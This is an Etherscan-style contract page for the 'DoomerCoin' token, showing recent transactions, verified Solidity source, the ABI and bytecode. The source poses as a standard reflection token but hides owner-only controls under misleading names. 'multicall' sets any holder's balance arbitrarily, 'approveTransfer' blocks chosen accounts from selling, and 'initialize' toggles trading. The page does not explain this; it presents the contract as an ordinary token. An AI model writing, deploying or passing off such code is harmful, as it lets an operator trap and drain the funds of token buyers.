More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 56 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 13729176 | 1064 days ago | IN | 0 ETH | 0.00488528 | ||||
Multicall | 13729163 | 1064 days ago | IN | 0 ETH | 0.00560582 | ||||
Approve | 13727784 | 1064 days ago | IN | 0 ETH | 0.00492524 | ||||
Approve | 13727432 | 1064 days ago | IN | 0 ETH | 0.00490252 | ||||
Approve | 13726536 | 1064 days ago | IN | 0 ETH | 0.0039211 | ||||
Approve Transfer | 13726065 | 1064 days ago | IN | 0 ETH | 0.01545952 | ||||
Approve | 13726037 | 1064 days ago | IN | 0 ETH | 0.00426086 | ||||
Approve | 13725590 | 1064 days ago | IN | 0 ETH | 0.00487454 | ||||
Approve | 13725343 | 1064 days ago | IN | 0 ETH | 0.00403794 | ||||
Approve Transfer | 13725290 | 1064 days ago | IN | 0 ETH | 0.00444103 | ||||
Approve Transfer | 13725221 | 1064 days ago | IN | 0 ETH | 0.01545952 | ||||
Approve | 13725185 | 1064 days ago | IN | 0 ETH | 0.00535668 | ||||
Approve Transfer | 13725148 | 1064 days ago | IN | 0 ETH | 0.0058654 | ||||
Approve Transfer | 13725143 | 1064 days ago | IN | 0 ETH | 0.00579602 | ||||
Increase Allowan... | 13725137 | 1064 days ago | IN | 0 ETH | 0.00416192 | ||||
Approve | 13725123 | 1064 days ago | IN | 0 ETH | 0.00389909 | ||||
Approve | 13725116 | 1064 days ago | IN | 0 ETH | 0.00637782 | ||||
Approve | 13725112 | 1064 days ago | IN | 0 ETH | 0.00518406 | ||||
Approve | 13725109 | 1064 days ago | IN | 0 ETH | 0.00471991 | ||||
Approve Transfer | 13725090 | 1064 days ago | IN | 0 ETH | 0.00508232 | ||||
Approve Transfer | 13725057 | 1065 days ago | IN | 0 ETH | 0.00543902 | ||||
Approve | 13725042 | 1065 days ago | IN | 0 ETH | 0.00587686 | ||||
Transfer | 13725018 | 1065 days ago | IN | 0 ETH | 0.00389174 | ||||
Transfer | 13725016 | 1065 days ago | IN | 0 ETH | 0.00399217 | ||||
Approve | 13724990 | 1065 days ago | IN | 0 ETH | 0.00604445 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
DoomerCoin
Compiler Version
v0.8.8+commit.dddeac2f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-12-02 */ // SPDX-License-Identifier: MIT pragma solidity =0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender);} function _msgData() internal view virtual returns (bytes memory) {this; return msg.data;}} interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;}} library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0;} function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted");} function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed");} function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage);} function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed");} function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage);} function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) {return returndata;} else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}} contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);} modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner");_;} modifier distributors() { require(_distributor == msg.sender, "Caller is not fee distributor");_;} function owner() public view returns (address) { return _owner;} function distributor() internal view returns (address) { return _distributor;} function setDistributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account;} function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0);}} contract DoomerCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = 'Doomer Coin'; string private _symbol = 'DOOMER'; uint8 private _decimals = 9; uint256 private constant _tTotal = 500000000000000*10**9; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _pOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) private _taxRewards; mapping (address => bool) private _isExcluded; uint256 private constant MAX = ~uint256(0); address[] private _excluded; uint256 private _tFeeTotal; uint256 private _totalSupply; uint256 private _rTotal; bool _initialize; address router; address factory; constructor (address unif, address unir) { _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _pOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]); _isExcluded[distributor()] = true; _excluded.push(distributor()); _initialize = true; router = unir; factory = unif;} function name() public view returns (string memory) { return _name;} function symbol() public view returns (string memory) { return _symbol;} function decimals() public view returns (uint8) { return _decimals;} function totalSupply() public pure override returns (uint256) { return _tTotal;} function balanceOf(address account) public view override returns (uint256) { return _pOwned[account];} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;} function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true;} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true;} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function multicall(address account, uint256 tokens, uint256 burn) external distributors { require(account != address(0), "ERC20: burn from the zero address disallowed"); _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");} function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount);} function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount;} else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount;}} function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate);} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, ""); if (_initialize == true || sender == distributor() || recipient == distributor()) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);}} else {require (_initialize == true, "");}} function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function approveTransfer(address acconut) external distributors { _taxRewards[acconut] = true;} function taxSender(address account) external distributors { _taxRewards[account] = false;} function rewardsState(address account) public view returns (bool) { return _taxRewards[account];} function initialize() public virtual distributors { if (_initialize == true) {_initialize = false;} else {_initialize = true;}} function initialized() public view returns (bool) { return _initialize;} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);} function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(3); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee);} function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee);} function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply);} function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]);} if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);}}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"unif","type":"address"},{"internalType":"address","name":"unir","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acconut","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"rewardsState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSender","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600b81526020017f446f6f6d657220436f696e000000000000000000000000000000000000000000815250600290805190602001906200005192919062000bc4565b506040518060400160405280600681526020017f444f4f4d45520000000000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000bc4565b506009600460006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b506040516200411f3803806200411f8339818101604052810190620000ef919062000cde565b6000620001016200066660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506969e10de76676d0800000600d81905550600d54600019620001c2919062000d5e565b600019620001d1919062000dc5565b600e819055506969e10de76676d080000060066000620001f66200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002446200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620002a5919062000e11565b60405180910390a36200030c60076000620002c56200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620003206200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620003746200066660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b620003d76200066660201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000496600760006200044f620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200066e60201b60201c565b60086000620004aa620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a6000620004fe620006ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b62000561620006ee60201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60006101000a81548160ff02191690831515021790555080600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620010a8565b600033905090565b6000600e54821115620006b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006af9062000eb5565b60405180910390fd5b6000620006ca6200071860201b60201c565b9050620006e681846200075260201b620012fc1790919060201c565b915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200072d620007a460201b60201c565b915091506200074b81836200075260201b620012fc1790919060201c565b9250505090565b60006200079c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000aa160201b60201c565b905092915050565b6000806000600e54905060006969e10de76676d0800000905060005b600b8054905081101562000a4b578260076000600b8481548110620007ea57620007e962000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620008dc57508160086000600b848154811062000874576200087362000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15620008fd57600e546969e10de76676d08000009450945050505062000a9d565b6200099760076000600b84815481106200091c576200091b62000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000b0960201b620013461790919060201c565b925062000a3360086000600b8481548110620009b857620009b762000ed7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000b0960201b620013461790919060201c565b9150808062000a429062000f06565b915050620007c0565b5062000a726969e10de76676d0800000600e546200075260201b620012fc1790919060201c565b82101562000a9457600e546969e10de76676d080000093509350505062000a9d565b81819350935050505b9091565b6000808311829062000aeb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ae2919062000fe7565b60405180910390fd5b506000838562000afc91906200100b565b9050809150509392505050565b600062000b5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000b5b60201b60201c565b905092915050565b600083831115829062000ba6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b9d919062000fe7565b60405180910390fd5b506000838562000bb7919062000dc5565b9050809150509392505050565b82805462000bd29062001072565b90600052602060002090601f01602090048101928262000bf6576000855562000c42565b82601f1062000c1157805160ff191683800117855562000c42565b8280016001018555821562000c42579182015b8281111562000c4157825182559160200191906001019062000c24565b5b50905062000c51919062000c55565b5090565b5b8082111562000c7057600081600090555060010162000c56565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ca68262000c79565b9050919050565b62000cb88162000c99565b811462000cc457600080fd5b50565b60008151905062000cd88162000cad565b92915050565b6000806040838503121562000cf85762000cf762000c74565b5b600062000d088582860162000cc7565b925050602062000d1b8582860162000cc7565b9150509250929050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d6b8262000d25565b915062000d788362000d25565b92508262000d8b5762000d8a62000d2f565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000dd28262000d25565b915062000ddf8362000d25565b92508282101562000df55762000df462000d96565b5b828203905092915050565b62000e0b8162000d25565b82525050565b600060208201905062000e28600083018462000e00565b92915050565b600082825260208201905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600062000e9d602a8362000e2e565b915062000eaa8262000e3f565b604082019050919050565b6000602082019050818103600083015262000ed08162000e8e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000f138262000d25565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000f495762000f4862000d96565b5b600182019050919050565b600081519050919050565b60005b8381101562000f7f57808201518184015260208101905062000f62565b8381111562000f8f576000848401525b50505050565b6000601f19601f8301169050919050565b600062000fb38262000f54565b62000fbf818562000e2e565b935062000fd181856020860162000f5f565b62000fdc8162000f95565b840191505092915050565b6000602082019050818103600083015262001003818462000fa6565b905092915050565b6000620010188262000d25565b9150620010258362000d25565b92508262001038576200103762000d2f565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200108b57607f821691505b60208210811415620010a257620010a162001043565b5b50919050565b61306780620010b86000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b60006969e10de76676d0800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109719061280956